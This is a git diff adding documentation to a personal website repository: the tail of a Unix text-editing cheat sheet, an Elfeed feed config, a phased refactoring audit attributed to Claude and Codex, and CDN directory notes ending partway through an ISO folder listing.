app.log | ts -i + +# Timestamp output of a long command +./long-running-script.sh 2>&1 | ts '[%H:%M:%S]' | tee run.log +``` + +### chronic + +Runs a command silently. Only prints output (stdout + stderr combined) if the command exits with a non-zero status. Ideal for cron jobs. + +```bash +# Silent backup -- only emails if it fails +chronic rsync -av /home /mnt/backup + +# Silent cleanup +chronic find /tmp -mtime +7 -delete + +# In crontab: +# 0 2 * * * chronic /usr/local/bin/backup.sh +``` + +### ifne (if not empty) + +Runs a command only if stdin is not empty. Useful in pipelines where downstream processing should be skipped on empty input. + +```bash +# Only send email if there are errors +grep ERROR app.log | ifne mail -s "Errors found" admin@example.com + +# Only process file if it has content +cat queue.txt | ifne ./process-batch.sh + +# Only restart service if config changed +diff new.conf current.conf | ifne systemctl reload myservice +``` + +### pee + +Tees stdin to multiple commands, collecting all their outputs. Like `tee` but runs commands instead of files. + +```bash +# Send stdin to multiple commands +echo "hello world" | pee 'wc -w' 'tr a-z A-Z' 'rev' + +# Log and process simultaneously +cat data.txt | pee 'tee archive.txt' 'awk {sum+=$1} END{print sum}' + +# Multiple formatters +cat file.json | pee 'jq .name' 'jq .version' 'jq .author' +``` + +### combine + +Combines two files line by line using set operations. + +```bash +# Lines in both files (intersection) +combine file1.txt and file2.txt + +# Lines in file1 not in file2 (difference) +combine file1.txt not file2.txt + +# Lines in either file (union) +combine file1.txt or file2.txt + +# Lines in exactly one file (symmetric difference) +combine file1.txt xor file2.txt + +# Find IPs in blocklist but not in whitelist +combine blocklist.txt not whitelist.txt +``` + +### errno + +Look up errno values by name or number. + +```bash +# Look up by number +errno 2 +# ENOENT 2 No such file or directory + +# Look up by name +errno EACCES +# EACCES 13 Permission denied + +# List all +errno -l + +# Useful when debugging strace output +strace ./binary 2>&1 | grep 'ENOENT' +errno ENOENT +``` + +--- + +## 11. ed Scripts for Automated Editing + +`ed` is the original Unix editor. It reads commands from stdin, making it trivially scriptable without temp files or the portability issues of `sed -i`. + +### Basic ed invocation + +```bash +# Edit file with commands from heredoc +ed file.txt <<'EOF' +commands +EOF + +# Edit file with commands from a script file +ed file.txt < script.ed + +# Suppress output (ed prints line counts by default) +ed -s file.txt <<'EOF' +commands +EOF +``` + +### Common ed patterns + +```bash +# Uncomment lines (remove leading #) +ed -s config.ini <<'EOF' +g/^#/s/^#// +w +q +EOF + +# Insert line after pattern +ed -s file.txt <<'EOF' +/^Host example/a + IdentityFile ~/.ssh/special_key +. +w +q +EOF + +# Delete all lines matching pattern +ed -s file.txt <<'EOF' +g/^#/d +w +q +EOF + +# Delete blank lines +ed -s file.txt <<'EOF' +g/^$/d +w +q +EOF + +# Replace on lines matching a pattern +ed -s file.txt <<'EOF' +g/TODO/s/TODO/DONE/g +w +q +EOF + +# Append text at end of file +ed -s file.txt <<'EOF' +$a +# added by script +extra_option = true +. +w +q +EOF + +# Insert text before first line +ed -s file.txt <<'EOF' +0a +#!/usr/bin/env bash +. +w +q +EOF + +# Print lines 5 through 10 (read-only) +ed -s file.txt <<'EOF' +5,10p +q +EOF +``` + +### Pipe ed commands + +```bash +# Via printf (avoids heredoc quoting issues with variables) +printf 'g/old/s/old/%s/g\nw\nq\n' "$NEW_VALUE" | ed -s file.txt + +# In a loop over multiple files +for f in *.conf; do + ed -s "$f" <<'EOF' +g/^#.*debug/d +w +q +EOF +done +``` + +--- + +## 12. perl -pie One-liners + +`perl -pie 'expr' file` is in-place editing with a backup. `-p` prints each line, `-i` edits in place, `-e` executes the expression. Drop the backup extension from `-i` to skip backups: `perl -pi -e`. + +```bash +# Basic substitution (like sed -i) +perl -pi -e 's/old/new/g' file.txt + +# With backup +perl -pi.bak -e 's/old/new/g' file.txt + +# Case-insensitive substitution +perl -pi -e 's/old/new/gi' file.txt + +# Delete lines matching pattern +perl -ni -e 'print unless /^#/' file.txt + +# Print only matching lines (like grep) +perl -ne 'print if /pattern/' file.txt + +# Conditional substitution (only on lines matching a pattern) +perl -pi -e 's/foo/bar/ if /baz/' file.txt + +# Multiline match (slurp whole file) +perl -0777 -pi -e 's/start.*?end/replacement/s' file.txt + +# Multiline: replace across lines +perl -0777 -pi -e 's/\[section\]\n.*?\n\n/[new_section]\noption=value\n\n/s' file.txt + +# Field extraction (like awk, but with full Perl) +perl -ane 'print "$F[0] $F[2]\n"' file.txt + +# Field extraction with custom separator +perl -F: -ane 'print "$F[0]\n"' /etc/passwd + +# Insert line after pattern +perl -pi -e 'print "new line\n" if /pattern/' file.txt + +# Append to end of file +perl -pi -e '$_ .= "appended\n" if eof' file.txt + +# Number lines +perl -ne 'printf "%4d %s", $., $_' file.txt + +# Remove duplicate adjacent lines (like uniq) +perl -ne 'print unless $_ eq $prev; $prev = $_' file.txt + +# Strip trailing whitespace +perl -pi -e 's/[[:space:]]+$/\n/' file.txt + +# Extract captures +perl -ne 'print "$1\n" if /name="(\w+)"/' file.html + +# Multiple files, in-place +perl -pi -e 's/v1\.0/v2\.0/g' *.md + +# Apply only to lines in range +perl -pi -e 's/foo/bar/ if 10 .. 20' file.txt + +# Use BEGIN/END blocks +perl -ne 'BEGIN { $sum = 0 } $sum += $_ } END { print "$sum\n"' numbers.txt +# (correct form:) +perl -ne '$sum += $_; END { print "$sum\n" }' numbers.txt +``` + +--- + +## 13. envsubst for Template Expansion + +`envsubst` replaces `$VARIABLE` and `${VARIABLE}` references in text with their values from the environment. Part of GNU gettext. + +```bash +# Substitute all env vars in a template +envsubst < template.conf > output.conf + +# Substitute only specific variables (prevents clobbering unrelated $vars) +envsubst '$HOST $PORT' < template.conf > output.conf + +# Inline with echo +export NAME="world" +echo 'Hello $NAME' | envsubst + +# In a deployment script +export DB_HOST=db.prod.example.com +export DB_PORT=5432 +export APP_PORT=8080 +envsubst '$DB_HOST $DB_PORT $APP_PORT' < nginx.conf.template | sudo tee /etc/nginx/conf.d/app.conf + +# template.conf example: +# server { +# listen ${APP_PORT}; +# proxy_pass http://${DB_HOST}:${DB_PORT}; +# } + +# Kubernetes manifest templating +export IMAGE_TAG=v2.3.1 +envsubst '$IMAGE_TAG' < deployment.yaml.tpl | kubectl apply -f - + +# Check what variables a template uses +grep -oP '\$\{?\w+\}?' template.conf | sort -u + +# Combine with heredoc for inline templates +DB_NAME=myapp envsubst <<'EOF' +CREATE DATABASE $DB_NAME; +GRANT ALL ON $DB_NAME.* TO 'appuser'@'localhost'; +EOF +``` + +--- + +## 14. Decision Matrix: Which Tool When + +| Task | Best tool | Notes | +|------|-----------|-------| +| Find lines matching pattern | `grep` / `rg` | rg is faster on large trees | +| Find and print a field from matching lines | `grep -oP` or `awk` | awk if you need field arithmetic | +| Simple string substitution, one file | `sed -i` or `perl -pi -e` | perl handles edge cases better | +| Simple substitution, many files | `sed -i` + glob, or `perl -pi -e` | perl more portable across OS | +| Multiline match/replace | `perl -0777 -pi -e` | sed cannot do multiline | +| In-place edit without temp file race | `sponge` or `perl -pi -e` | sponge simplest for pipelines | +| Column/field arithmetic | `awk` | awk is purpose-built for records | +| Complex logic, multiple conditions | `awk` or `perl` | awk cleaner for columnar; perl for arbitrary | +| Regex with lookbehind/lookahead | `perl` or `grep -P` | POSIX tools do not support PCRE | +| Edit structured file interactively | `vim` | use `:%!` for formatting passes | +| Batch edit file with known ex commands | `vim -es` | no user interaction, scriptable | +| Edit file mid-pipeline interactively | `vipe` | moreutils | +| Rename files in bulk | `vidir` | edit names as text, save | +| Automated edit, match/insert/delete | `ed` | predictable, POSIX, scriptable | +| Template with env vars | `envsubst` | simple; no logic | +| Template with logic | `envsubst` + shell, or `m4`, or `jinja2` | depends on complexity | +| Project-wide find and replace in vim | `:grep` + `:cfdo %s///g \| update` | keeps quickfix for review | +| Deduplicate lines | `sort -u` or `awk '!seen[$0]++'` | awk preserves order | +| Format JSON | `jq .` or `python3 -m json.tool` | jq more powerful | +| Format XML | `xmllint --format -` | | +| Align columns | `column -t` | add `-s` for custom delimiter | +| Convert between formats | `awk` or `perl` | depends on format complexity | +| One-shot REPL-style computation | `bc` or `python3 -c` | bc for pure math | +| Add timestamps to log stream | `ts` (moreutils) | | +| Run command only if input not empty | `ifne` (moreutils) | | +| Silent cron command | `chronic` (moreutils) | | +| Set operations on files | `combine` (moreutils) | | + +### When to reach for vim over sed/awk + +- The transformation requires multiple passes over the file +- You need vim's regex (e.g. `\v`, `\ze`, `\zs`) +- You want to review changes visually before writing +- You are already in vim +- The file is binary (`:r !xxd`, edit hex, `:%!xxd -r`) + +### When to reach for perl over sed + +- The pattern spans multiple lines +- You need conditional logic per line +- You need backreferences more complex than `\1` +- The replacement depends on a computation +- You want consistent behavior across Linux and macOS without GNU coreutils + +### When to reach for awk over perl + +- Input is naturally record/field structured (logs, CSVs, columnar data) +- You need `BEGIN` / `END` blocks with simple accumulation +- The script is short and you want it readable by others unfamiliar with perl +- You are summing, counting, or averaging fields + +### When to reach for ed over sed + +- You need to insert text after a matched line (sed does not do this cleanly) +- You need to reference line numbers relative to a match +- You want the same script to work on any POSIX system without GNU extensions +- You are inside a script that cannot use a heredoc trick safely with sed diff --git a/doc/elfeed.md b/doc/elfeed.md new file mode 100644 index 0000000000000000000000000000000000000000..d0e78fd176a642e140312405607ed401b6906706 --- /dev/null +++ b/doc/elfeed.md @@ -0,0 +1,75 @@ +# Elfeed Configuration + +## Feeds + +### LLM/AI (tag: `llm`) + +| Feed | URL | Tags | +|------|-----|------| +| Machine Learning | `http://export.arxiv.org/rss/cs.LG` | llm, ml, arxiv | +| Computation & Language | `http://export.arxiv.org/rss/cs.CL` | llm, nlp, arxiv | +| Artificial Intelligence | `http://export.arxiv.org/rss/cs.AI` | llm, ai, arxiv | +| Neural & Evolutionary | `http://export.arxiv.org/rss/cs.NE` | llm, neural, arxiv | +| Statistical ML | `http://export.arxiv.org/rss/stat.ML` | llm, stats, arxiv | + +### Marine Biology (tag: `marine`) + +| Feed | URL | Tags | +|------|-----|------| +| bioRxiv Zoology | `http://connect.biorxiv.org/biorxiv_xml.php?subject=zoology` | marine, bio, biorxiv | +| bioRxiv Animal Behavior | `http://connect.biorxiv.org/biorxiv_xml.php?subject=animal_behavior_and_cognition` | marine, bio, biorxiv | +| bioRxiv Ecology | `http://connect.biorxiv.org/biorxiv_xml.php?subject=ecology` | marine, bio, biorxiv | +| PLOS ONE Marine Mammals | `https://journals.plos.org/plosone/feed/atom?filterSubjects=Marine+mammals` | marine, plos | +| Nature Marine Biology | `http://feeds.nature.com/subjects/marine-biology.rss` | marine, nature | + +### Pedagogy (tag: `pedagogy`) + +| Feed | URL | Tags | +|------|-----|------| +| Physics Education | `http://export.arxiv.org/rss/physics.ed-ph` | pedagogy, physics-ed, arxiv | +| Math History/Overview | `http://export.arxiv.org/rss/math.HO` | pedagogy, math-ed, arxiv | +| Journal of Math Education | `https://www.tandfonline.com/feed/rss/ujme20` | pedagogy, math-ed, journal | +| STEM Education Journal | `https://stemeducationjournal.springeropen.com/articles/most-recent/rss.xml` | pedagogy, stem, journal | + +### Disabled + +| Feed | URL | Tags | Reason | +|------|-----|------|--------| +| PubMed Cetaceans | needs real saved search ID | marine, cetacean, pubmed | Placeholder URL, not configured | + +## Scopes (filter keybindings in elfeed search buffer) + +| Key | Filter | Scope | +|-----|--------|-------| +| Shift+L | `@6-months-ago +unread +llm` | LLM/AI papers only | +| Shift+M | `@6-months-ago +unread +marine` | Marine biology only | +| Shift+P | `@6-months-ago +unread +pedagogy` | Pedagogy only | +| Shift+A | `@2-weeks-ago +unread` | All unread | + +## Other keybindings + +| Key | Action | +|-----|--------| +| Shift+R | Update all feeds | +| g r | Fetch current feed | +| g R | Force update | +| = | Set score | +| + | Increase score by 10 | +| - | Decrease score by 10 | +| a (in entry view) | Import arXiv paper to local library | + +## Leader keybindings (SPC e ...) + +| Key | Action | +|-----|--------| +| SPC e e | Open Elfeed | +| SPC e u | Update feeds | +| SPC e f | Update current feed | +| SPC e s | Score explain | + +## Summary + +- 3 scopes, 14 active feeds, 1 disabled +- Default filter: `@6-months-ago` (shows all papers from last 6 months) +- Auto-fetches feeds on open +- elfeed-score enabled for ranking diff --git a/doc/files/audit.md b/doc/files/audit.md new file mode 100644 index 0000000000000000000000000000000000000000..965a1d9fde1394cf3888fcb4d421c9a5f155d0f7 --- /dev/null +++ b/doc/files/audit.md @@ -0,0 +1,393 @@ +# Merged Structural Audit: krisyotam.com + +**Date:** 2026-05-20 +**Sources:** claudeAudit.md (Claude) + codexAudit.md (Codex) +**Goal:** Lean, navigable codebase by August 2026 + +--- + +## Decisions Applied Before Merge + +- **Fonts:** Ignore. Being restructured via CDN work in oasis/cdn. Not a codebase problem. +- **Analytics DB:** Keep on Neon (external). It's lossy data, not worth hosting locally. +- **All other DBs:** Local SQLite only. Phase out any other external DB references. +- **reference-db.ts singleton:** Migrate to `withDb()` pattern (local SQLite, just fix the access pattern). + +--- + +## Phase 1: Sources of Truth + +These are the highest-leverage fixes. Every later phase builds on them. + +### 1.1 Content Registry (Codex finding, confirmed by Claude) + +**Problem:** Content type definitions are duplicated across 13+ files. Adding a content type requires touching routing, sync scripts, feeds, sitemap, search, SEO, and tests. Some lists include `documents`, `til`, `now`, `scripts`, `notebooks`, `sequences`; others exclude them. + +**Files affected:** +- `src/app/(content)/[type]/config.ts` +- `next.config.mjs` +- `src/lib/seo.ts` +- `src/lib/content.ts` +- `src/lib/graph.ts` +- `src/app/sitemap.ts` +- `src/app/api/content/search/route.ts` +- `src/app/api/content/md/[slug]/route.ts` +- `src/app/api/system/utils/route.ts` +- `public/scripts/dev/syncContent.js` +- `public/scripts/dev/slugCollisions.js` +- `public/scripts/prod/magic-urls.js` +- `public/scripts/dev/generateMetadata.js` + +**Fix:** Single `src/config/contentRegistry.ts` defining table name, public route, canonical URL mode, sync source, date/category columns, feed/search/sitemap inclusion. Mirror as `scripts/lib/contentRegistry.mjs` for CommonJS scripts. + +**Work:** +1. Introduce registry with current behavior only (no new features) +2. Convert read-only consumers: `seo.ts`, `content.ts`, `sitemap.ts`, `api/content/search` +3. Convert write/sync scripts after registry is proven + +### 1.2 Database Root Drift (Codex finding) + +**Problem:** Runtime uses root `data/` via `src/lib/db.ts`, but some scripts resolve paths relative to `public/scripts/`, landing at `public/data/` instead. Zero-byte `.db` files exist in `public/data/`. + +**Files affected:** +- `public/scripts/doc/syncDocs.js` (resolves `../../data/content.db` from inside `public/scripts/doc`) +- `public/scripts/dev/syncNotebooks.js` +- `public/scripts/dev/blogActivity.js` +- `public/scripts/prod/magic-urls.js` + +**Fix:** Create `scripts/lib/paths.mjs` exporting `PROJECT_ROOT`, `DATA_DIR`, `CONTENT_DIR`, `dbPath(name)`. Honor `KRISYOTAM_DATA_DIR`. Delete zero-byte `public/data/*.db` files. + +### 1.3 Canonical URL Drift (Codex finding, confirmed by Claude) + +**Problem:** Sexy URLs are implemented in 3 places that can disagree: +- `next.config.mjs` builds rewrite rules from `content.db` +- `src/lib/canonical-url.ts` mirrors type list and reserved slug rules +- Components fall back to `/${slug}` locally in `table.tsx`, `directory.tsx`, `mediaCard.tsx` + +**Fix:** Normalize URLs server-side, pass `item.url` everywhere. Components render one URL field instead of rebuilding URLs locally. Use `getCanonicalContentUrl` in metadata, JSON-LD, breadcrumbs, citations. + +### 1.4 reference-db.ts Singleton (Claude finding) + +**Problem:** `reference-db.ts` uses a manual singleton pattern instead of the project's `withDb()` wrapper. Connection never closed. This is the only SQLite file that doesn't use the canonical pattern. + +**Fix:** Rewrite to use `withDb('reference', ...)`. Delete the manual caching code. + +--- + +## Phase 2: Route Consolidation + +### 2.1 Tracking Route Duplication (Claude finding, confirmed by Codex) + +**Problem:** 5 near-identical page sets + 7 identical layouts + 5 near-identical API routes + 5 near-identical client components. The single biggest structural redundancy in the codebase. + +**Scope:** +- Pages: `(tracking)/{anime,film,tv,games,manga}/page.tsx` + watched/read/played subpages +- Layouts: 7 files, all 12 lines, all identical +- APIs: `api/tracking/{anime,film,tv,manga,media}/route.ts` (150-187 lines each, same pattern) +- Clients: per-medium client components with identical state machinery + +**Fix:** +- Single `(tracking)/layout.tsx` with shared styles +- Dynamic `(tracking)/[medium]/` route +- Consolidated `/api/tracking/[medium]/` API +- Shared `TrackingGridBrowser` component for watched/read/played lists +- Extend existing `tracking-overview.tsx` shared renderer + +### 2.2 Content Listing Client Duplication (Codex finding) + +**Problem:** Listing clients repeat identical state machinery: +- `(content)/[type]/client.tsx` +- `(content)/til/client.tsx` +- `(content)/now/client.tsx` +- `(content)/scripts/client.tsx` +- `(content)/sequences/client.tsx` + +Repeated: search state, URL query sync, category/tag construction, date sorting, empty states, header fallbacks, slug banners. + +**Fix:** Extract `src/hooks/useContentListingState.ts` + `src/components/content/collectionShell.tsx`. Route clients own only data shape and item renderer choice. + +### 2.3 Content Payloads in Route Folders (Codex finding) + +**Problem:** Authored content lives inside `src/app/`: +- `src/app/(content)/til/content/*.mdx` +- `src/app/(content)/now/content/*.mdx` +- `src/app/(misc)/surveys/content/*.survey.md` + +**Fix:** Move to `src/content/` or external content repo. Extract `src/lib/til.ts` and `src/lib/now.ts` loaders first, then move files. + +### 2.4 Empty Route Groups (Claude finding, confirmed by Codex) + +**Delete:** +- `(info)` -- completely empty +- `(media)` -- completely empty + +**Decide:** +- `(updates)` -- has layout.tsx + CSS but zero routes. Delete if no plans. + +### 2.5 Duplicate Navigation Routes (Claude finding) + +- `sequences/categories/page.tsx` (58 lines) vs `sequences/category/page.tsx` (26 lines, empty placeholder) -- delete the empty one + +--- + +## Phase 3: Monolith Splitting + +### 3.1 reading.tsx (1,589 lines) -- Claude finding + +Contains 9+ distinct sub-components, data fetching, state management, API calls, rendering. Split into: +- `reading/` directory with sub-components +- `useReading` and `useReadingData` hooks +- Server-side data fetching passed as props + +### 3.2 survey.tsx (1,220 lines) -- Claude finding + +Form state, validation, conditional rendering, answer tracking all in one file. Split into: +- Form schema parser +- Validation logic +- Answer reducer hook (`useSurvey`) +- Presentation components + +### 3.3 api/system/utils/route.ts (762 lines) -- Claude finding + +Kitchen-sink API endpoint. Split into discrete endpoints by concern. + +### 3.4 globals.css (~1,979 lines) -- Codex finding + +Catch-all CSS file. Extract to `src/app/styles/core/`: +- `base.css` (viewport, tokens) +- `typography.css` +- `code.css` +- `comments.css` +- `footnotes.css` +- `sidenotes.css` +- `print.css` +- `cards.css` +- `motion.css` + +Keep `globals.css` as the import root plus true app-wide tokens only. + +### 3.5 media-db.ts (837 lines, 91 exports) -- Both found + +Split by domain once content registry exists: +- `lib/db/films.ts` +- `lib/db/anime.ts` +- `lib/db/games.ts` +- `lib/db/reading.ts` +- `lib/db/tv.ts` +- `lib/db/music.ts` + +### 3.6 system-db.ts (620 lines) -- Both found + +Split: metadata, quotes, supporters. + +### 3.7 Header Client Boundary (Codex finding) + +`layout/header.tsx` is `"use client"` but imported by server pages. Split into: +- Server-safe header renderer (static markup) +- Small client island for interactive parts + +### 3.8 PageDescription (Codex finding) + +Owns too many jobs: markdown-link parsing, icon lookup, modal state, sounds, compact/expanded modal markup. Extract: +- Pure `parseMarkdownLinks` helper +- Shared modal body component +- Narrow client shell for open/close state + +--- + +## Phase 4: Dead Code and Cleanup + +### 4.1 Dead Exports (31 functions) -- Claude finding + +| Module | Dead Functions | +|--------|---------------| +| `date.ts` | `formatRelative`, `formatInCentralTime`, `getCurrentMonthYear`, `getCurrentYear`, `isPast`, `isFuture`, `isToday`, `formatDateCompact`, `formatDateWithValidation`, `isValidDate` | +| `lab-db.ts` | `getSurveyResponses`, `getAllSurveyResponses`, `getSurveyResponseCount`, `getAllSurveys`, `upsertSurvey`, `syncSurveysFromFiles` | +| `doc.ts` | `getDocumentsUnderPath`, `getDocBySlug`, `getTopLevelDirectories` | +| `data.ts` | `getVerseByTypeAndSlug`, `getDocumentFilePath` | +| `mdx.ts` | `fileExists`, `listMdxFiles`, `extractHeadingsWithHierarchy` | +| `analytics-db.ts` | `getHistoryTimeline` | +| `canonical-url.ts` | `_resetCanonicalUrlCache` | +| `cookie-sign.ts` | `signCookie` | +| `form-parser.ts` | `extractFormFrontmatter` | +| `guestbook-db.ts` | `getGuestbookEntry` | +| `media-db.ts` | `getMusicPlaylists` | +| `prompts.ts` | `getPromptsByCategory`, `getPromptBySlug` | + +### 4.2 Duplicate Type Definitions -- Both found + +- `TilEntry` in both `data.ts` and `system-db.ts` (different `id` field) +- `NowEntry` in both `data.ts` and `system-db.ts` +- `Movie` in `media-db.ts` vs `film-utils.ts` (snake_case vs camelCase) + +Consolidate to `src/lib/types/`. + +### 4.3 Duplicate Logic -- Both found + +- `getMovies()` defined in both `media-db.ts` and `film-utils.ts` +- URL replacement logic identical in `citation.tsx` and `print.tsx` +- Image `unoptimized={image?.includes('krisyotam.com')}` repeated in 7 files +- Date formatters: 14 functions, keep ~5, delete the rest + +### 4.4 Stale Script Paths (Codex finding) + +- `syncContent.js` still documents `public/scripts/keep` (deleted) +- `generateMetadata.js` hardcodes `PROJECT_ROOT = '/home/krisyotam/dev/krisyotam.com'` +- Several scripts hardcode DB/content locations instead of using env vars + +### 4.5 Empty Directories -- Claude finding + +Delete: `components/changelog/`, `components/media/anime/` (if empty) +Move: `contribution-graph.tsx` from components root to `home/` + +--- + +## Phase 5: Security and Resilience + +### 5.1 Cookie Secret Fallback -- Claude finding + +`cookie-sign.ts:3` has hardcoded default `'krisyotam-cookie-secret-change-in-prod'`. Should throw in production if `COOKIE_SECRET` not set. + +### 5.2 Error Boundaries -- Claude finding + +Zero `error.tsx` files. Add to at minimum: `(content)`, `(tracking)`, `(misc)`, root. + +### 5.3 TikZ SVG Sanitization -- Claude finding + +`typography/tikz.tsx` renders SVG via `dangerouslySetInnerHTML` without DOMPurify. Low risk (server-rendered from own API) but worth hardening. + +### 5.4 CSRF Localhost Bypass -- Claude finding + +`csrf.ts` allows `localhost:3000` and `localhost:3080` unconditionally. Gate behind `NODE_ENV === 'development'`. + +--- + +## Phase 6: Scripts Relocation + +### 6.1 Private Scripts Under public/ (Codex finding) + +Only browser-delivered scripts belong under `public/`. Current structure puts dev tooling, DB mutators, importers, prose/verse tools all under `public/scripts/`. + +**Target structure:** +``` +public/scripts/ -- browser-delivered only + footnotes.js + sidenotes.js + prod/ -- production browser scripts + +scripts/ -- NOT web-served + dev/ + doc/ + prose/ + verse/ + auth/ + lib/ -- shared helpers (paths.mjs, contentRegistry.mjs) +``` + +**Note:** This conflicts with current project memory that says script subdirectories are fixed under `public/scripts/{auth,dev,doc,prod,prose,verse}`. Update architecture docs and memory when migration starts. + +--- + +## Phase 7: CSS and Themes + +### 7.1 Theme Token Duplication (Codex finding) + +`src/app/styles/themes/default.css` has duplicate no-JS dark-mode and `.dark` definitions, repeated pastel token blocks. Reduce declarations while preserving fallback behavior. + +### 7.2 !important Overuse (Claude finding) + +`globals.css` code block styles (lines 32-67) use excessive `!important`. Refactor cascade to avoid. + +--- + +## Phase 8: Testing + +### 8.1 No Test Coverage (Both found) + +Vitest config exists but no test files. Priority tests to write: +1. Content registry consumers agree on valid types +2. DB path helper resolves root `data/` by default +3. Canonical URL resolver returns sexy URLs +4. Listing state hook filters and sorts deterministically +5. API route handlers return consistent error shapes + +--- + +## Work Division + +### Claude Batch 1: Content Registry + Route Consolidation +- Create `src/config/contentRegistry.ts` +- Convert read-only consumers: `seo.ts`, `content.ts`, `sitemap.ts`, `api/content/search` +- Consolidate tracking routes (layouts, pages, APIs, clients) +- Delete 31 dead exports +- Delete empty route groups and directories + +### Codex Batch 1: Data Integrity + Path Safety +- Create `scripts/lib/paths.mjs` +- Fix `syncDocs.js`, `syncNotebooks.js`, `blogActivity.js`, `magic-urls.js` paths +- Delete zero-byte `public/data/*.db` +- Migrate `reference-db.ts` to `withDb()` +- Fix `generateMetadata.js` hardcoded PROJECT_ROOT +- Add DB path tests + +### Claude Batch 2: Monolith Splitting +- Split `reading.tsx` into sub-components + hooks +- Split `survey.tsx` into form logic + presentation +- Split `api/system/utils` into discrete endpoints +- Extract `globals.css` into `styles/core/*` modules +- Split header client boundary + +### Codex Batch 2: Canonical URLs + Listing Primitives +- Normalize canonical URL generation, require `item.url` +- Update `table.tsx`, `directory.tsx`, `mediaCard.tsx` to use passed URLs +- Extract `useContentListingState` hook +- Extract `collectionShell.tsx` +- Move TIL/Now content out of route folders + +### Shared Later Batches +- Script migration out of `public/` (after path helper + docs update) +- Split `media-db.ts` and `system-db.ts` by domain (after registry) +- Error boundaries +- Security fixes +- Theme token dedup +- Test coverage + +--- + +## Execution Order + +``` +1. Content registry (unblocks everything) +2. DB root drift + path helper (unblocks script fixes) +3. Canonical URL normalization (unblocks component cleanup) +4. Tracking route consolidation (biggest line-count reduction) +5. Monolith splitting (reading, survey, utils, globals) +6. Dead code deletion (31 exports, duplicate types, empty dirs) +7. Listing/content client extraction +8. TIL/Now loader extraction + content file moves +9. Header/PageDescription client boundary fixes +10. Script relocation out of public/ +11. Security fixes (cookie, error boundaries, CSRF, TikZ) +12. Split broad DB modules by domain +13. CSS/theme cleanup +14. Test coverage +``` + +--- + +## Files Index (Conflict-Prone) + +These files will be touched by both agents at different phases. Coordinate order: + +| File | Phase | Owner | +|------|-------|-------| +| `src/lib/seo.ts` | 1.1 | Claude first, then Codex | +| `src/lib/content.ts` | 1.1 | Claude first, then Codex | +| `src/app/sitemap.ts` | 1.1 | Claude | +| `src/lib/canonical-url.ts` | 1.3 | Codex | +| `next.config.mjs` | 1.1 | Claude (registry), Codex (URLs) | +| `src/app/globals.css` | 3.4 | Claude | +| `public/scripts/dev/git.js` | 1.2 | Codex | +| `public/scripts/dev/syncContent.js` | 1.1, 1.2 | Codex | +| `src/app/(content)/[type]/config.ts` | 1.1 | Claude | +| `src/lib/data.ts` | 4.1, 4.2 | Claude (dead code), Codex (types) | diff --git a/doc/files/cdn/archive.md b/doc/files/cdn/archive.md new file mode 100644 index 0000000000000000000000000000000000000000..1a81972b89f0bae940e2cd6f20bfe93354df91e5 --- /dev/null +++ b/doc/files/cdn/archive.md @@ -0,0 +1,14 @@ +# archive route + +Archived datasets and projects. + +## Current contents + +- `apple/` +- `dnmarchives/` +- `twdne/` (v2) + +## Status + +Moved out of the CDN route. It should live as its own standalone route, not +under `/cdn/` and not under `/mnt/storage/new-cdn`. diff --git a/doc/files/cdn/assets.md b/doc/files/cdn/assets.md new file mode 100644 index 0000000000000000000000000000000000000000..33fe653b73341a7e6c44d510689335c1346469b8 --- /dev/null +++ b/doc/files/cdn/assets.md @@ -0,0 +1,31 @@ +# assets/ + +Site-specific assets used by krisyotam.com. + +## Current structure + +``` +assets/ + 404/ + audio/ + img/ + videos/ + bundle/ + blog/ diary/ essays/ fiction/ news/ notes/ ocs/ papers/ reviews/ + characters/ + covers/ + blog/ essays/ fiction/ news/ notes/ ocs/ papers/ sequences/ shop/ verse/ + logos/ + ornaments/ + stickers/ + 88x31/ + neighbors/ +``` + +## Status + +No changes planned. This is site-specific and well-organized. + +## Open question + +- `cover/sequences/` at CDN root may belong here in `assets/covers/sequences/`. diff --git a/doc/files/cdn/audio.md b/doc/files/cdn/audio.md new file mode 100644 index 0000000000000000000000000000000000000000..ba416a83e58ad2d8f3c70c499d2a925f212df51b --- /dev/null +++ b/doc/files/cdn/audio.md @@ -0,0 +1,20 @@ +# audio/ + +Audio files organized by content type. Absorbs `mp3s/`. + +## Current structure + +``` +audio/ + art/ blog/ courses/ diary/ documents/ essays/ fiction/ + gallery/ lectures/ music/ news/ notes/ ocs/ papers/ + progymnasmata/ research/ reviews/ sfx/ textbooks/ verse/ workbooks/ +``` + +## Merge + +- `mp3s/` at CDN root merges here. Sort files into appropriate subdirectories. + +## Status + +Structure is good. Just needs the mp3s merge. diff --git a/doc/files/cdn/fonts.md b/doc/files/cdn/fonts.md new file mode 100644 index 0000000000000000000000000000000000000000..8aea1c852949a4b29d6155ed3d92b400b5050398 --- /dev/null +++ b/doc/files/cdn/fonts.md @@ -0,0 +1,26 @@ +# fonts/ + +Web fonts and dropcap originals. + +## Current structure + +``` +fonts/ + dropcaps-originals/ + alice-in-wonderland/ + art-deco-geometric/ + art-nouveau-florals/ + bodoni-ornamental/ + celtic-knotwork/ + gothic-traditional/ + gutenberg-bible/ + kelmscott-press/ + medieval-byzantine/ + victorian-ornamental/ + vinework-gothic/ + william-morris-gothic/ +``` + +## Status + +No changes planned. diff --git a/doc/files/cdn/games.md b/doc/files/cdn/games.md new file mode 100644 index 0000000000000000000000000000000000000000..bffcbca310cca605309651bead6fdd1b0d5cfd7e --- /dev/null +++ b/doc/files/cdn/games.md @@ -0,0 +1,11 @@ +# games/ + +Game files. + +## Current contents + +- `terraria/` + +## Status + +No changes planned. diff --git a/doc/files/cdn/iso.md b/doc/files/cdn/iso.md new file mode 100644 index 0000000000000000000000000000000000000000..3e40d4a4091920c338d1214a0377340fd867547a --- /dev/null +++ b/doc/files/cdn/iso.md @@ -0,0 +1,112 @@ +# iso/ + +OS installation images. + +## Naming convention + +``` +{distro}-{version}-{arch}.iso +``` + +Version is whatever the project uses (release number, date, codename). Arch is `x86_64`, `aarch64`, `i686`, `riscv64`, etc. + +## Structure + +``` +iso/ + linux/ + arch/ + artix/ + blackarch/ + endeavouros/ + manjaro/ + parabola/ + debian/ + ubuntu/ + uwuntu/ + mint/ + pop-os/ + mx-linux/ + kali/ + parrot/ + tails/ + fedora/ + nobara/ + centos/ + alma/ + rocky/ + gentoo/ + calculate/ + funtoo/ + void/ + nixos/ + guix/ + alpine/ + slackware/ + opensuse/ + solus/ + bedrock/ + kiss/ + crux/ + lfs/ + tiny-core/ + puppy/ + porteus/ + hannah-montana/ + temple-os/ + bsd/ + freebsd/ + openbsd/ + netbsd/ + dragonflybsd/ + ghostbsd/ + hardenedbsd/ + midnightbsd/ + ravynos/ + plan9/ + plan9/ + 9front/ + 